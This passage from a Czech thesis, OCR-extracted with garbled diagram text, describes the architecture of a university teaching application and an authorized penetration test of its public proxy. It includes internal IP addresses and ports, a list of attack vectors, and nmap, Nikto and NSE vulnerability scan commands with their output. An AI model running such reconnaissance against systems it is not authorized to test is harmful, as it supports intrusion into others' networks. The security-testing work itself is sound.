nastroje Docker. V kazdé této komponenté je pro kazdou jeji ¢ast izolovany kontejner, tedy na-
priklad pro Redis databazi, ktera je soucdsti aplika¢niho serveru. Na obrazku je vidét cela
architektura aplikace, tedy vSechny komponenty.

B Obrazek 3.1 High level pohled

Proxy server Proxy server Vercel

IP adresa: 76.76.21.21

IP adresa: 147.32.232.212 IP adresa: 10.38.5.90

i

i

Port: 80 Front End
Aplikacni Server Back End Aplikacni Server
IP adresa: 10.38.5.38 I::> I::> IP adresa: 10.38.5.90
Port: 5001 IP adresa: 10.38.5.90 Port: 5000
pstevaator 1| <] Port: 8000 </a| Ppstcenemtor
Databaze
Aplikacni Server Aplikacni Server
PostgreSQL
IP adresa: 10.38.5.119 |P adresa: IP adresa: 10.38.5.121
Port: 5001 10.38.5.90 Port: 5001
PS1-Evaluator 2 Port: 5432 PS1-Evaluator 3

3.2.1 Proxy server

Veskerd komunikace klienta s aplikaci prochézi pies dva proxy servery jednim je fakultni proxy
server a druhy je proxy server pro samotnou aplikaci.

Fakultni proxy server ma verejnou IP adresu, a je tedy dostupny z internetu. Proxy server,
ktery je komponentou aplikace je piistupny pouze z vnitini sité FIT CVUT. Pro rozliseni téchto
dvou proxy serverti budu uzivat oznaceni vefejny a interni.


https://learnshell.fit.cvut.cz/admin
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Interni proxy server bézi v izolovaném Docker kontejneru. Tento server bézi na hostiteli s TP
adresou 10.38.5.90 a posloucha na portu 80. Jednd o NGINX server.

3.2.2 Front End

Aplikace urcend pro prezentacni vrstvu je vyvijena s vyuzitim framework Next.js. Vyvojari
Next.js poskytuji prostfedi, kde mohou byt provozovany aplikace, které jsou vyvinuty pomoci
tohoto frameworku. Tato platforma se nazyva Vercel a vyvojari aplikace LearnShell této sluzby
vyuzivaji. Front end je tedy provozovan na jednom z Vercel serverii. Adresa URL je nasledujici
https://ls-web-01.vercel.app a HTTP server md vefejnou IP adresu 76.76.21.21. Lze vidét na
obrazku B.J.

3.2.3 Back End

Backend je slozen ze dvou c¢asti WSGI server, na kterém je provozovana Django administrace.
Druha c¢ast slouzici pro uklddani dat je databize PostgreSQL. WSGI server i databaze Post-
greSQL jsou kazdy ve svém vlastnim Docker kontejneru. Oba jsou vystaveny na hostitele s IP
adresou 10.38.5.90. WSGI server posloucha na portu 8000 a databdze na portu 5432.

Django administrace, kterd je pristupna pres webové rozhrani dostupné na URL adrese
https://learnshell.fit.cvut.cz/admin.

Dijango aplikace komunikuje s dalsimi dvéma komponentami, kterymi jsou
Igro generétofl a Eplikaéni SEerver pro evaluatozl. Césti back end a komunikace s aplika¢nimi servery
jsou vidét na obrazku M Komunikace mezi back end a aplikaénimi servery probihd za pouziti
RESTful API.

3.2.4 Aplikacni server pro generator

Sklad4 se ze t¥{ ¢asti: PS1-Generator (Flask aplikace), asynchronni fronta tloh Celery a noSQL
databaze Redis. [lustrace toho serveru je na obrazku B.2. Samotné Flask aplikace s ndzvem PS1-
Generator zajistuje generovani tloh pro studenty na zdkladé vytvorenych sablon. Na produkci
bézi kazda ¢ast ve vlastnim Docker kontejneru a dvé z nich jsou vystaveny na hostitele, ktery
ma IP adresu 10.38.5.90. Konkrétné PS1-Generator na portu 5000 a Redis na portu 6379.

B Obrazek 3.2 Aplikac¢ni server generdtor

Aplikacni Server

PS1-Evaluator Asynchronni fronta tloh

Flask aplikace : Celery ] Databaze

Redis
IP adresa: 10.38.5.90 IP adresa: 10.38.5.90
Port: 5000 Port: 6379

3.2.5 Aplikacni server pro evaluator

Podobné jako generdtor je sloZen ze t¥{ ¢asti a témi jsou: PS1-Evaluator (Flask aplikace), asyn-
chronni fronta tloh Celery a noSQL databéze Redis. Aplikace PS1-Evaluator mé za kol opravo-
vani odevzdanych tloh dle referencénich feseni. Schéma tohoto serveru je vidét na obrazku B.3. Na
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produkci jsou tyto aplikacni servery tri. Jejich IP adresy jsou 10.38.5.121, 10.38.5.119 a 10.38.5.38

a port, na kterém PS1-Evaluator bé&zi je 5001 (pro vSechny IP adresy stejny). Ostatni dvé ¢asti
(Celery a Redis) nejsou vystaveny na hostitele, ale komunikuji spolu na localhost.

B Obrazek 3.3 Aplikacéni server evaluator

Aplikacni Server

PS1-Evaluator Asynchronni fronta uloh

Redis

Flask aplikace : Celery ] Databaze

IP adresa: 10.38.5.38
IP adresa: 10.38.5.119
IP adresa: 10.38.5.121
Port: 5001

3.2.6 Komunikace

Uzivatel, ktery chce komunikovat s aplikaci pres webové rozhrani odesle HT'TP request. Veskera
komunikace prochéazi pres fakultni proxy server, ktery je pristupny z internetu a jeho verejna
IP adresa je 147.32.232.212. Tento fakultni proxy server presmérovava pozadavky urcené pro
aplikaci LearnShell na server, ktery je komponentou LearnShell a umistény ve vnitini siti FIT
CVUT. Toto je vidét na obrazku B.4.

B Obrazek 3.4 Komunikace klient — proxy servery

Proxy server Proxy server

PFesmérovani
Nginx Nginx - nginx:1.19-alpine

Jméno serveru: URL: https://learnshell.fit.cvut.cz/

wproxy.fit.cvut.cz

HTTP request

IP adresa: 147.32.232.212 Port: 80

Uzivatel Il: IP adresa: 10.38.5.90

HTTP response

Proxy server s IP adresou 10.38.5.90 na portu 80 v zavislosti na typu pozadavku ho déle pre-
posila na front end a back end aplikace. Komunikace s front end probihé za vyuziti bezstavového
protokolu HTTP. Aplikace urcena pro front end je provozovina na platformé Vercel a vefejna
IP adresa serveru je 76.76.21.21. Pro komunikaci s back end a dotazovianim na data je pouzito
GraphQL API. Data jsou posilany ve formatu JSON. Komunikaci proxy serveru s komponentami
back end a front end ilustruje obrazek B.5.

Posledni ¢asti komunikace je komunikace mezi back end a aplikacnimi servery, pro niz je
pouzito RESTful API. Popsdno obrazkem @ 7Z ¢eho jsou jednotlivé aplikacéni servery slozeny
je zobrazené na obrazku @ a
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B Obrazek 3.5 Komunikace proxy server a back end / front end

Back End HTTP response Proxy server Vercel
JSON format HTTP request

IP adresa: 10.38.5.90
Port: 8000

Nginx - nginx:1.19-alpine

URL: https://learnshell fit.cvut.cz/ Front End

LS-Web
Port: 80

IP adresa: 10.38.5.90

IRl

Aplikace v Next.js

HTTP response s

HTTP request s assets

GraphQL
query/mutation

URL: https://Is-web-01.vercel.app
IP adresa: 76.76.21.21

B Obrazek 3.6 Komunikace back end s aplika¢nimi servery

HTTP request
Back End
Aplikacni Server - Evaluator
uWSGl server
s Databize <=
HTTP response
POStg TESQL JSON format
Django IP adresa: 10.38.5.90
Aplikace Port: 5432 HTTP request
Aplikacni Server - Generator
GraphQL API
<=

HTTP response
JSON format

3.3 Pouzité technologie

V podkapitolach této sekce jsou strucné popsany technologie, které se pouzivaji v aplikaci. Sou-
stredim se zde na popis predevsim téch vyznamnéjsich, které maji vliv na testovani. Tedy nebude
zde napriklad popsana kazd4 jednotliva knihovna. Za vyznamné technologie vzhledem k testovani
povazuji: Docker, Nginx, Django, GraphQL, PostgreSQL, Redis, Flask.

3.3.1 Docker

Docker je oteviena platforma pro vyvoj a béh aplikaci. Poskytuje moznost spoustét aplikace
v izolovaném prostfedi zvaném kontejner. Jedna se tedy o technologii zaméfenou na virtualizaci,
konkrétné container-based. [[12]

Docker pouziva architekturu klient-server. Docker client komunikuje s Docker deamon, ktery
obstarava sestaveni, béh a distribuci Docker kontejnert. Docker client a deamon muzou bézet na
stejném systému nebo mize byt klient pfipojen ke vzddlenému deamon. [[12]

Jednotlivé kontejnery je mozné mezi sebou propojovat a to za pomoci siti. Docker sitovy
subsystém lze pripojit za pomoci ovladact. Ve vychozim nastaveni jich existuje nékolik: bridge,
host, overlay, macvlan a none. Bude popsan pouze bridge, jelikoz pravé ten propojuje kontejnery
v aplikaci LearnShell. V Docker terminologii bridge network pouziva softwarovy bridge, ktery
dovoluje propojeni kontejnera ke stejné bridge network, v niz mohou komunikovat. Poskytuje
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i izolaci od kontejnert, které nejsou pripojeny do stejné bridge network. Docker bridge ovladace
automaticky instaluji pravidla na hostitelsky stroj, takze kontejnery pripojeny k jinym sitim
bridge spolu nemohou primo komunikovat. Sité bridge se vztahuji na kontejnery bézici na stejném
hostiteli pro Docker deamon. [13]

Vétsina technologii pro virtualizaci mize byt rozdélena na dva hlavni piistupy: hypervisor-
based a container-based virtualizace. Virtualizace zalozena na kontejnerech k vytvofeni izolo-
vaného prostredi pro procesy vyuziva kernel funkce. Na rozdil od hypervisor-based virtualizace
kontejnery nemaji vlastni virtualizovany hardware, ale pouzivaji hardware hostitelského systému.
Vice informaci k virtualizaci 1ze nalézt zde [14], z tohoto ¢erpé i tento odstavec.

Detailnéjsi popis je nad ramec tohoto textu, pro dalsi informace lze navstivit Docker doku-
mentaci na [15].

3.3.2 NGINX

NGINX predstavuje vysoce vykony HTTP server, reverzni proxy a proxy server IMAP/POP3.
Jednd se o Teseni, které je bezplatné a open source. Existuje i placenad verze, kterd se jmenuje
NGINX Plus. Je znamy diky svému vysokému vykonu, stabilité, bohaté sadé funkci, jednodu-
chému konfigurovani a také nizkou spotfebou zdroju. [L6]

Je jednim z maéla serveri napsanych pro feseni problému s nazvem C10K problem. Tento
problém je ve zkratce problémem optimalizace sitovych sokett pro zpracovani velkého mnozstvi
klientt soudasné dle [[17]. Tedy pokud se pFipoji / snazi ptipojit mnoho klientt soucasné (napii-
klad 10 000) na jeden server, tak se dostupnost toho serveru redukuje a server prerusuje spojeni
s klienty.

Na rozdil od tradi¢nich servert se nespoléhd na vldkna pfi zpracovani pozadavki. Na misto
toho pouzivé vice skalovatelnou udélostmi fizenou (asynchronni) architekturu. Tato architektura
vyuziva malé, ale predvidatelné mnozstvi paméti pti zatézi. I kdyz administrator vyuzivajici tento
server neoCekava nutnost zpracovani tisice pozadavki zaroven, presto miuze byt NGINX vyhodou
kvili vysokému vykonu a nizkym ndrokim na pamét. [16]

Vyuzivaji ho napiiklad spolecnosti jako Netflix, GitHub, SoundCloud a dalsi. [16]

3.3.3 Django

Django je open source vysoko troviiovy webovy framework pro jazyk Python. [1§]

Django pouziva architekturu , shared-nothing“, kterd znamend, ze hardware lze pridat na
kazdé tirovni — databézové servery, servery pro cache nebo webové/aplikacni servery. Cisté od-
déluje komponenty, jako je databdzovéd a aplikacni vrstva. [[19]

Django webovy framework a tak potiebuje k fungovani webovy server. Webovy server nativné
nekomunikuje v jazyce Python, proto je potieba rozhrani, aby komunikace mohla probihat.
Django podporuje dva druhy rozhrani: WSGI a ASGI. WSGI je hlavni standard jazyka Python
pro komunikaci mezi webovym serverem a aplikaci, ale ten podporuje pouze synchronni kod.
ASGI je novy standard vhodny pro asynchronni pouziti. Tento standard umozni webové strance
v Django pouzivani asynchronnich funkei Pythonu a asynchronnich Django funkei. [20]

Jednou z nejmocnéjsich ¢asti tohoto framework je automatické administratorské rozhrani.
Cte metadata z modell k poskytovani rychlé, model-centric rozhrani, kde diivéryhodny uziva-
tel muZe spravovat obsah na webu. Dle [21]. Django poskytuje jednotlivé vrstvy: model layer
(modelova vrstva), view layer (pohledova vrstva) a template layer (vrstva Sablony). Zminiovana
modelovd vrstva je abstrakéni vrstva (the ,models*) pro strukturovdni a manipulovdni s daty
webové aplikace. Pohledova vrstva slouzi pro zapouzdfeni logiky odpovédné za zpracovani po-
zadavku uzivatele a vraceni odpovédi. Vrstva sablony poskytuje vhodnou syntaxi pro designera
k vykreslovdn{ informaci, které maji byt zobrazeny uzivateli. Dle [22], kde jsou i dal§{ detailnéjsi
informace ohledné tohoto framework.
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3.3.4 GraphQL

GraphQL je dotazovaci jazyk pro tvorbu API, a také béhové prostiedi na strané serveru pro
provadéni dotazii. Pouziva systém typt, ktery definuje vyvojar na zédkladé jeho dat. GraphQL
se nevaze k zadné specifické databdzi ani storage engine, misto toho je zaloZeno na vyvojarové
existujicim kédu a datech. [23]

GraphQL sluzba je vytvorena definovanim typi a poli/polozek vztahujici se k témto typtim,
nasledné poskytnutim funkci pro kazdé pole na kazdém typu. Sluzba po spusténi prijima dotazy
v jazyce GraphQL k ovéfeni a vykonani téchto dotazii. Nejprve je dotaz zkontrolovan, zdali je
validni (odkazuje se pouze na definované typy a pole). Nasledné jsou vykondny poskytnuté funkce
k definovanym polim, a tim je vyprodukovan vysledek dotazu. [23]

Obvyklym vybérem protokolu pro komunikaci mezi klientem a serverem je HTTP protokol.
Protokol HTTP je bézné spjat s technologii REST, kterd pouziva ,,zdroje* jako jadro konceptu.
Na proti tomu konceptudlni model GraphQL je graf entit. Entity proto nejsou identifikovany na
zékladé adres URL. Na misto toho GraphQL server pracuje s jednim endpoint / adresou URL,
vétsinou je to /graphgl a vSechny GraphQL pozadavky by byt sméfovany na tento endpoint. [24]
Tedy REST APIs vystavuji sadu adres URL, kde kazda adresa predstavuje jeden zdroj. Zatimco
GraphQL prostiednictvim jednoho koncového bodu zprostredkovava celou sadu funkei sluzby.

GraphQL sluzby typicky pouzivaji pro prenos dat JSON format, ackoli to specifikace pro
GraphQL nevyzaduje.

V dotazech na GraphQL server je mozné pouzivat tii typy operaci: query, mutation a sub-
scription. Prvni dva typy jsou pouzivany v aplikaci LearnShell. Typ query data pouze Cte a typ
mutation data méni.

Detailnéjsi popis lze nalézt zde [23].

3.3.5 PostgreSQL

PostgreSQL je open source objektové relaéni databdzovy systém (ORDBMS) zalozeny na POST-
GRES (verze 4.2), jenz je vyvinuty na Kalifornské univerzité v Berkeley. POSTGRES razil cestu
mnoha konceptiim, které byly v nékterych komercénich databazovych systémech pouzivany az
mnohem pozdéji.

Jak uz nazev napovidd, pro manipulaci s daty se slouzi jazyk SQL, ktery je bézné pouzivan
pro préaci s daty v relacnich databazich. Podporuje velkou c¢ést standardu jazyka SQL a na-
bizi mnoho modernich funkci, jako jsou komplexni dotazy, cizi klice, triggers, aktualizovatelné
pohledy, transakéni integrita. Tento systém muze byt uzivatelem rozsiren mnoha zptusoby napti-
klad pridavanim novych datovych typt, funkeci, operatori, agregacnich funkci a proceduralnich
jazykt.

Vzhledem k licenci je mozné PostgreSQL pouzivat, modifikovat a distribuovat kymkoli a to
zdarma a pro jakékoli ucely, at uz soukromé, komercéni ¢i akademické.

Pristup k PostgreSQL databazi umoziuje napriklad psql ¢i pgAdmin. Prvni zminovany, tedy
psql je PostgreSQL interaktivni termindl, ktery dovoluje interaktivné zaddvat, editovat a vykona-
vat SQL prikazy. Hlavni rozdil je v tom, Ze pgAdmin m4 grafické uzivatelské rozhrani. V kapitole
vénujici se samotnému penetracnimu testu pouzivam pravé nastroj psql pro pristup k databazi.

Vyse uvedeny text ¢erpa z dokumentace PostgreSQL, tyto informace jsou dostupné z [25].

3.3.6 Redis

Redis je in-memory (v paméti) tlozisté datovych struktur. Stejné jako u vySe zminénych tech-
nologii se jedna o open source (licence BSD). Pouziva se jako databédze, cache a message broker
(zprostiedkovatel zprav). Jelikoz Redis nenf klasickd SQL databéze, fadi se do kategorie NoSQL.
Popsano dle [26]. Redis poskytuje nasledujici datové struktury: strings (Fetézce), hashes, lists
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(listy), sets (sady/mnoziny), sorted sets (sefazené sady/mnoziny), bitmaps a dalsi (vice o dato-
vych strukturdch zde [27]).

Pro dosazeni nejvyssiho vykonu pracuje Redis s in-memory dataset (datovou sadou / kolekef
dat). V zdvislosti na potiebé pouzit{ je mozné zachovat data pravidelnym ukldaddnim na disk nebo
pridavanim kazdého prikazu do logu. Také je moznost persistenci vypnout, pokud je potfeba
sifovou in-memory cache bohatou na funkce. [26] Vice informaci k Redisu 1ze nalézt zde [2§].

3.3.7 Flask

Flask je webovy aplika¢ni framework napsany v jazyce Python. Je designovan tak, aby byl
snadno a rychle pouzitelny a zaroven mél schopnost pro tvorbu komplexnich aplikaci. Flask
je Casto oznacovan jako microframework. To je proto, ze cili na jednoduchost jadra, ale i na
jeho rozsititelnost. Nabizi moznosti, ale nevynucuje zadné zavislosti na ostatnich balic¢cich. Ve
vychozim nastaveni Flask neobsahuje abstrakéni vrstvu pro databazi, ovéfovani formulait ani nic
dalsiho, kde jsou dostupné knihovny, které jsou pro danou véc urceny. Vyvojar tak mé moznost
vybéru pouzitych nastroju a knihoven. Flask je zaloZen na Werkzeug a Jinja. [29, B(]

Werkzeug Werkzeug je obsahla knihovna pro WSGI webové aplikace. Zacinala jako jednoducha
kolekce ruznych nastroju pro WSGI aplikace a stala se jednou z nejpokrocilejsich knihoven
WSGI néstroju. Flask vyuziva Werkzeug ke zpracovani WSGI detaili a zaroven poskytuje
vice struktur a vzortu pro definovani vykonnych aplikaci. [31]

Jinja Také oznacovan jako Jinja2, kvuli specifikaci nejnovéjsi verze. Jinja2 je plné vybaveny
template engine (systém Sablon / modul zpracovévajici Sablon) pro jazyk Python. [32]

3.4 Vektory utoku

Vektor utoku je cesta nebo prostiedek, pomoci néhoz muze dtocénik ziskat pristup k serveru/po-
¢itaci/databazi atp. Na zakladé architektury aplikace a komunikace mezi jednotlivymi kompo-
nentami jsem uréil mozné vektory utoku.

Prvnim moznym vektorem utoku je fakultni proxy server. Ma verejnou IP adresu, tedy ttoc-
nikem muze byt kdokoli s pristupem na internet.

Druhym serverem s vefejnou IP adresou je server platformy Vercel, na kterém je provozovina
aplikace pro front end, a jeho IP adresa je 76.76.21.21.

Dalsf servery jsou pifstupné pouze z vnitini sité FIT CVUT. Do této sité ma kazdy student
a zaméstnanec pristup pomoci VPN. Hlavné z divodu moznosti pfipojeni studenta/zaméstnance
fakulty do vnit¥ni sité se i servery v této siti stavaji moznymi vektory ttoku. Jedna se o servery
s IP adresami 10.38.5.90, 10.38.5.121, 10.38.5.119 a 10.38.5.38.

Pro vektory utoku zminéné vysSe jsou primarnim cilem oteviené porty a sluzby, které na
téchto portech bézi. Pro nalezené sluzby je zddouci prozkoumat, jestli nemaji znamé zranitelnosti,
kterych by se dalo zneuzit. Moznymi vektory utoku jsou tedy i samy sluzby. Ty jsou ovsem
zkoumany v ramci testovani serveru s konkrétni IP adresou.

Vektorem utoku je také samotnd webovd aplikace (dostupnd z https://learnshell.fit.
cvut.cz), jelikoZ k ni md uzivatel piipadné utocénik pristup a muiZe v ni zadavat skodlivé vstupy.
Skrze webové rozhrani je pfistupna Next.js aplikace a Django aplikace (administrace).

Jednim z dalsich vektorti je autorizacni server, kde by mohly byt zneuzity chyby v pouziti
OAuth 2.0 framework.

Poslednimi vektory titoku, které jsem uréil jsou APIs. Prvnim z nich je GraphQL API, které je
zasilani pozadavkl je umoznéno i nepiihlasenym uzivatelim aplikace LearnShell. Dale API pro
komunikaci back end s generdtorem a druhé API pro komunikaci back end s evaluatorem. Koncové
body pro posledni dvé API jsou pFistupné pouze ze vnitini sité FIT CVUT.


https://learnshell.fit.cvut.cz
https://learnshell.fit.cvut.cz

3.4. Vektory utoku

B Tabulka 3.1 Vektory titoku

Vektor utoku Metodologie Soucasti
testovani
Server s IP adresou 147.32.232.212 PTES Ano
Server s IP adresou 76.76.21.21 PTES Ne
Server s interni IP adresou 10.38.5.90 PTES Ano
Server s interni IP adresou 10.38.5.121 PTES Ne
Server s interni IP adresou 10.38.5.119 PTES Ne
Server s interni IP adresou 10.38.5.38 PTES Ne
Webova stranka https://learnshell.fit.cvut.cz | OWASP Top Ten Ano
Autorizaéni server Zuul PTES Ne
GraphQL API OWASP API Top 10 | Ano
Generator APT (RESTful API) OWASP API Top 10 | Ne
Evaluator APT (RESTful API) OWASP API Top 10 | Ne

Po domluvé s vedoucim prace byly vybrany nasledujici vektory pro penetrac¢ni test: server
s IP adresou 147.32.232.212, server s interni IP adresou 10.38.5.90, GraphQL API a webova
aplikace dostupna z adresy https://learnshell.fit.cvut.cz.

Vsechny nalezené vektory ttoku jsem umistil do tabulky , kde je uveden vektor ttoku,
metodologie pro testovani, a zdali bude soucésti penetracniho testovani.


https://learnshell.fit.cvut.cz
https://learnshell.fit.cvut.cz




Kapitola 4

Vysledky penetracniho testu

V této kapitole se vénuji samotnému penetracnimu testovdni jednotlivych vektoru utoku, které
byly v predchozi kapitole vybrdny pro testovdni.

4.1 Server s IP adresou 147.32.232.212

K tomuto serveru jsem nemél kromé jeho IP adresy zadné dalsi informace. Pro zjisténi vice
informaci jsem pouzil rizné automatické nastroje: nmap, nikto, whatweb, dirb.

4.1.1 Skenovani

Nejprve bylo nutné zjistit, jaké oteviené porty a sluzby na tomto serveru bézi. Oteviené porty
a na nich bézici sluzby mohou byt moznym pristupovym bodem pro dalsi utok, proto je zddouci
porty provérit. K tomuto tcelu jsem vyuzil nastroj zvany Nmap.

Nmap Nmap je zkratka pro Network Mapper. Jednd se o bezplatny a open source néstroj slou-
zici pro skenovani sité a bezpecnostni auditovani. Nmap vyuziva IP pakety novymi zpusoby
k urcent:
= kteri hostitelé jsou v siti k dispozici,
= jaké pouzivaji operacni systémy,
= jaké jsou oteviené porty pro dané hostitele,
= jaké sluzby (a jejich verze) na danych portech bézi
= a dalsich charakteristik.
Byl navrzen na skenovani rozsahlych siti, ale funguje dobie i vuc¢i jednotlivym hostiteltum.
Popis néstroje Nmap Cerpé z [33], kde lze nalézt vice informaci.

Mnoho port skenert rozliSuje pouze stavy open ¢i closed, ale Nmap pro porty rozlisuje Sest
stavi. Kvili pouzivani nazvu téchto stavl nize popisi, jaky maji vyznam. Tento popis cerpa

2 [34).

= open
Takto je oznacen port, pokud aplikace/sluzba na ném bézici aktivné ptijima TCP pfipojeni,
UDP datagramy a SCTP asociace.
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= closed
Uzavieny port je piistupny (pfijimd a reaguje na pakety), ale na takovém portu neposlou-
chd zadné aplikace/sluzba. Mohou byt uziteéné pro zjisténi, jestli je dany hostitel v provozu
a také pro detekci OS hostitele.

= filtered

Nmap takto oznaci port, pro ktery nemuze rozhodnout, jestli ma stav open neboli je
otevreny. Zdali je port otevieny nemuze Nmap urcit kvuli filtrovani paketu, které brani
paketim v dosazeni portu.

= unfiltered

Tento stav znamenad, Ze port je pristupny, ale Nmap nedokdaze urcit zdali mé stav open ¢i
closed. Pouze sken typu TCP ACK scan, ktery se pouziva pro skenovani pravidel brany
firewall, mtze urcit tento stav.

= open|filtered
Nmap oznacuje porty timto stavem, kdyz neni schopen urcit, jestli je port ve stavu open
nebo filtered. K tomu dochazi u typt skenovani, kde oteviené porty neodesilaji zpét zidnou
odpovéd. To muize byt zpiisobeno tim, ze filtrovani paketid mohlo zahodit prichozi paket
nebo paket s odpovédi. Nmap tedy nemuze s jistotou urcit, zda je port ve stavu open, nebo
filtered. Timto zptisobem mohou porty oznacovat skeny typu UDP, FIN, NULL, Xmas.

= closed|filtered
Tento stav je pouzit v pripadé, Ze Nmap nemuze urcit, zdali je port zavieny nebo filtrovany.

Pro skenovani s ndstrojem Nmap jsem pouzival pro ruzné techniky skenovani nasledujici pre-
pinace: -sS (TCP SYN scan), -sT (TCP connect scan), -sU (UDP scans), -sY (SCTP INIT scan),
-sN; -sF; -sX (TCP NULL, FIN, and Xmas scans), -sA (TCP ACK scan), -sW (TCP Window
scan), -sM (TCP Maimon scan), -sZ (SCTP COOKIE ECHO scan). Vice riznych technik jsem
volil kvili tomu, abych ziskal, co nejvice informaci o cilovém hostiteli, protoze v zavislosti na
typu skenu mohou byt odesilané pakety filtrovany.

Zde popisi jednotlivé skeny, které jsem provedl. VSechny ukdzané vypisy prikazu néstroje
Nmap jsou pro prehlednost zkraceny jen na nejpodstatnéjsi informace. Pro kazdy typ skenovani
plati, ze pokud neni jinak specifikovano, tak se skenuje 1000 nejcastéjsich porti.

= TCP connect scan

Pro tento typ skenu se pouziva prepinac -sT. Ve vychozim nastaveni Nmap spousti TCP SYN
scan, ale musi byt spoustén s préavy root (plati pro Linux), jinak je vychozim skenem prévé
TCP connect scan. Pouzity piikaz a jeho vystup lze vidét ve vypisu prikazu @.1].

B Vypis pfikazu 4.1 Nmap TCP connect scan — IP adresa 147.32.232.212

$ nmap -vv 147.32.232.212
# Zkrdaceny vystup
Not shown: 996 filtered ports
Reason: 995 no-responses and 1 host-unreach
PORT STATE SERVICE REASON

25/tcp open smtp syn-ack
80/tcp open http syn-ack
113/tcp closed ident conn-refused

443/tcp open https syn-ack

= TCP SYN scan
Dle [35] je nejpopuldrnéjsi moznost pro typ skenovani, jelikoz muze byt vykondn rychle a rela-
tivné nendpadné. Nendpadny je proto, ze nikdy nedokonc¢uje TCP pripojeni. I z téchto duvodu
je pro Nmap vychozim typem skenovani. Pouzity prikaz a jeho vystup lze vidét ve vypisu
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pfikazu@. 7Z tohoto vypisu je vidét, ze z 1000 nejpouzivanéjsich portu je ve stavu open port
25, 80, 443. Ostatni porty jsou filtrované, z duvodu zadné odpovédi (no-responses) 995 port,
1 z divodu nedosazitelnosti portu (port-unreach) a jeden z divodu, Ze Nmap obdrzel icmp
admin-prohibited paket (ICMP Administratively Prohibited message).

B Vypis pfikazu 4.2 Nmap TCP SYN scan — IP adresa 147.32.232.212

$ sudo nmap -vv -sS 147.32.232.212
# Zkraceny vystup
Not shown: 997 filtered ports
Reason: 995 no-responses, 1 admin-prohibited and 1 port-unreach
PORT STATE SERVICE REASON
25/tcp open smtp syn-ack ttl 63
80/tcp open http syn-ack ttl 54
443/tcp open https syn-ack ttl 54

m SCTP INIT scan
Sken pro Stream Control Transmission Protocol oskenoval 52 porta (dle vychoziho nastaveni),
vSechny oznadil filtered, protoze neobdrzel odpovéd (no-response).

= SCTP COOKIE ECHO scan

Stejné jako s predchozim, tak ani s timto typem skenovani jsem neobjevil nové oteviené porty.
Sken oznadil vSechny oskenované porty stavem openlfiltered, stejné jako predchozi oskenoval
52 portu (dle vychoziho nastaveni).

= TCP NULL, FIN a Xmass scan

Tyto tii typy skenovani vyuzivajl mezer v protokolu TCP RFC k rozliSeni mezi otevienymi
a uzavienymi porty. [36] VSech 1000 otestovanych portii kazdy ze skent oznacil openlfiltered.
Vsechny z divodu neobdrzeni odpovédi. Z toho jsem zadné dalsi informace neziskal.

= TCP Window scan

Tento sken také neoznacil zadné nové oteviené porty, naopak oznaéil port 25/tcp stvem
closed. To muze byt zapri¢inéno tim, ze TCP Window scan spoléha na implementacni detaily
mensiny systémi na internetu. Vystupu nelze vzdy vérit. Vice zde [35].

= TCP Maimon scan

VSechny porty oznadil openlfiltered, kviili neobdrzeni odpovédi.

= TCP ACK scan

Timto skenovanim bylo 999 portt oznaceno stavem filtered a port 25/tcp unfiltered.

= UDP scan

Skenovéani typen UDP scan oznacil dva porty: 69/udp a 514/udp stavem filtered a ostatni
staven openlfiltered.

V zavéru skenovani nastrojem Nmap jsem spustil sken vSech portu s typem skenu TCP SYN
scan a zapnul detekci OS. Z toho jsem zigkal ndsledujici oteviené porty: 25/tcp, 80/tcp, 443/tcp,
29876/tcp. Lze vidét ve vypisu piikazu @ Nmap odhaduje OS skenovaného hostitele na Linux
4.15 — 5.6 nebo Linux 5.0 — 5.4. Odhad OS je s varovanim, ze miize byt nespolehlivy. Navic, jak je
vidét, neukazal presnou verzi, ale pouze rozsah moznych verzi. S prepinacem pro detekci OS jsem
spoustél i jiné typy skenovani, ale vysledky se lisily, a tedy jsem presnou verzi OS neziskal.
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B Vypis pfikazu 4.3 Nmap TCP SYN scan — IP adresa 147.32.232.212 (vSechny porty)

$ sudo nmap -sS 147.32.232.212 -0 -p-
# Zkraceny vystup
Not shown: 65531 filtered ports

PORT STATE SERVICE
25/tcp open smtp
80/tcp open http

443/tcp open https

29876/tcp open unknown

Warning: 0SScan results may be unreliable because we could not
find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 4.X[5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6, Linux 5.0 - 5.4

Pro nalezené oteviené porty jsem spustil sken s pfepinacem pro urceni verzi sluzeb (-sV).
Z toho jsem ziskal informaci, Ze na portu 80/tcp a 443/tcp je provozovan server NGINX. Dalsim
udajem bylo, Ze na portu 29876 je provozovan Radicale calendar and contacts server (Python
BaseHTTPServer).

Nmap také nabizi spusténi NSE (Nmap Scripting Engine) skriptt. Vyuzil jsem skripty z kate-
gorie vuln, ve které jsou skripty pro kontrolu zndmych zranitelnosti. Pokud néjaké zranitelnosti
naleznou, nahlédsi vysledek. Skript ssl-dh-params nalezl zranitelnost , Diffie-Hellman Key Ex-
change Insufficient Group Strength“ pro port 443/tcp a skript http-slowris-check zranitelnost
CVE-2007-6750 pro port 29876 /tcp.

Nikto Nikto je open source (GPL) skener webovych serveri provadéjici komplexni testy téchto
server s mnoha testovanymi polozkami, jako jsou nebezpeéné soubory/programy, zastaralé
verze serveri, specifické problémy pro urcité verze serveri, konfigurace serveru a dalsi. [37)

Porty oznacené nastrojem Nmap stavem open jsem testoval dalSim nastrojem se jménem Nikto.
Byly pouzity rtzné pluginy pro tento nastroj jako napiiklad auth, dir_ traversal, shellschock,
strutshock, robots, favicon, httpoptions a dictionary.

Vysledkem skenovani s nastrojem Nikto bylo ovéfeni, Ze na portu 80/tcp a 443/tcp bézi
NGINX server. Déle nalezl pouze chyby v nastavovdni HTTP hlavicek pro porty 80/tcp, 443/tcp,
29876/tcp. Ty jsou popsény ve |Vyh0dnoceni Skenovéuni.

DIRB a WhatWeb

Za pouziti nastroji DIRB a WhatWeb jsem kromé HTTP header string pro port 29876 /tcp nic
nového nezjistil. Tento HTTP server header fetézec vracel hodnotu WebSockify Python/2.7.13.

4.1.2 Vyhodnoceni penetracniho testu

Na zakladé podsekce jsou zde shrnuty nalezené vysledky, které jsou doplnény dalsimi
informacemi ohledné provedenych testu.

25 /tcp

Tento port ma stav open a bézi zde sluzba smtp, uréeno na zakladé provedeného skenovani
pomoci Nmap.

Po provedeni Nmap skenovéini s vyuzitim NSE skripty (smtp-brute.nse, smtp-commands.nse,
smtp-enum-users.nse, smtp-ntlm-info.nse, smtp-open-relay.nse, smtp-strangeport.nse, smtp-vuln-
cve2010-4344.nse, smtp-vuln-cve2011-1720.nse, smtp-vuln-cve2011-1764.nse), které se soustiedi
